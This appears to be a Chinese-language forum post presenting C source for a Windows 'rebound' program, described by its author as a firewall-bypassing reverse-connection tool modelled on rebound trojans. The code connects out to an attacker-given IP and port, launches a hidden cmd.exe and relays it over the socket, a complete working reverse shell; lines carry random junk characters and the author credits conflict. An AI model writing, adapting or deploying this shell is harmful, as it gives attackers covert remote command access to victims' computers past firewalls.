这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =au7'i |6
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/* ============================== 5BKga1Q
Rebound port in Windows NT $g&,$7}O_
By wind,2006/7 -JOtvJIQI
===============================*/ 2g
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#include =4`#OQ&g
#include S*;8z}5<\
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); S9kagiFX\
SOCKET sClient; 8a{S*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BeP]M1\?>
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void main(int argc,char **argv) y<r7_ysi
{ iaXpe]w$n
WSADATA stWsaData; MT{7I"
int nRet; oE:9}]N_
SOCKADDR_IN stSaiClient,stSaiServer; bOR1V\Jr$q
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if(argc != 3) VZ"W_U,
{ } :U'aa
printf("Useage:\n\rRebound DestIP DestPort\n"); nXH U|5.I
return; Lc,`
} f9v%k'T[
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WSAStartup(MAKEWORD(2,2),&stWsaData); sOzmw^7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1 .\|,$
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stSaiClient.sin_family = AF_INET; 5J!ncLNm{
stSaiClient.sin_port = htons(0); H9nVtS{x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9W{`$30
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JU^{!u
{ pzcV[E1
printf("Bind Socket Failed!\n"); L
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return; pw;
} "fWAp*nI3t
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stSaiServer.sin_family = AF_INET; 0I6[`*|SX
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xEv]VL:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?kBi9^)N4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vs@[="
{ [@ExR*
printf("Connect Error!"); PDN3=PAR/A
return; .48Csc-
} >y&Db
OutputShell(); ^R\et.W`s
} +EI+@hS
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void OutputShell() [k~V77w
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{ &)F8i#M
char szBuff[1024]; q2Xm~uN`)
SECURITY_ATTRIBUTES stSecurityAttributes; 6J/"1_
OSVERSIONINFO stOsversionInfo; jP*5(*[&y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;O7CahdF
STARTUPINFO stStartupInfo; TR2X' `:O
char *szShell; CX](^yU_
PROCESS_INFORMATION stProcessInformation; ?UD2}D[M
unsigned long lBytesRead; cEkf9:_La
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7A7=~:l\G
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #"tHT<8 u
stSecurityAttributes.lpSecurityDescriptor = 0; JNY;;9o
stSecurityAttributes.bInheritHandle = TRUE; =HJ)!(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Wi a%rm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tI651Wm9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); QWt?` h=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :U^!N8i"=
stStartupInfo.wShowWindow = SW_HIDE; Y\e,#y
stStartupInfo.hStdInput = hReadPipe; Af8&PhyrU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G$X+g{
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GetVersionEx(&stOsversionInfo); &(H;Bin'
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switch(stOsversionInfo.dwPlatformId) 4;G:.k!K
{ :?1r.n
case 1: 0Q@
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szShell = "command.com"; om$x;L6
break; !>$tRW?gH~
default:
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szShell = "cmd.exe"; XXuIWIhm
break; dB{o-R
} pJM~'tlHV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v7rEUS-
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send(sClient,szMsg,77,0); lq2Ah=FuN
while(1) hrfu\cI
{ *Xh)22~T
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /cn=8%!N
if(lBytesRead) S\7-u\)
{ 8KqrB!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @ 2r9JqR[=
send(sClient,szBuff,lBytesRead,0); j$%KKl8j
} aA Hx^X^
else W,</
{ U\N|hw#f!!
lBytesRead=recv(sClient,szBuff,1024,0); oj.f
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if(lBytesRead<=0) break; D
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U1pL
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} 3*@ sp
} r^3QDoy
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return; R"Q=U}?$
}